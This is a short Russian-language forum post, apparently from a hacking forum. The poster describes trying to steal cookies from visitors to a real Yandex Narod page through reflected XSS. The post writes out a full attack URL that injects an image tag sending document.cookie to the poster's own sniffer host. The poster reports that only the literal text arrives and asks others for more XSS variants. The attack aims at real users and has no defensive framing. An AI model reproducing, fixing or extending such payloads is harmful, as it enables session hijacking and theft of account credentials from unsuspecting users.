Вот за это спасибо, уже есть результат, но к сожалению на снифер приходит только ;document.cookie; при моем запросе:
http://narod.yandex.ru/rubrics/top100.xhtml?sort=xaxa><img src="мой_сниф/pic.gif?;"+document.cookie; xss><a a=&c=2xaxa

Поэксперементировав с запросами, кукисов я так и не получил, к сожалению.
За статью тоже спасибо, на днях буду тоже эксперементировать.

Может кто нибудь ещё знает, какие могут быть варианты с этими XSS?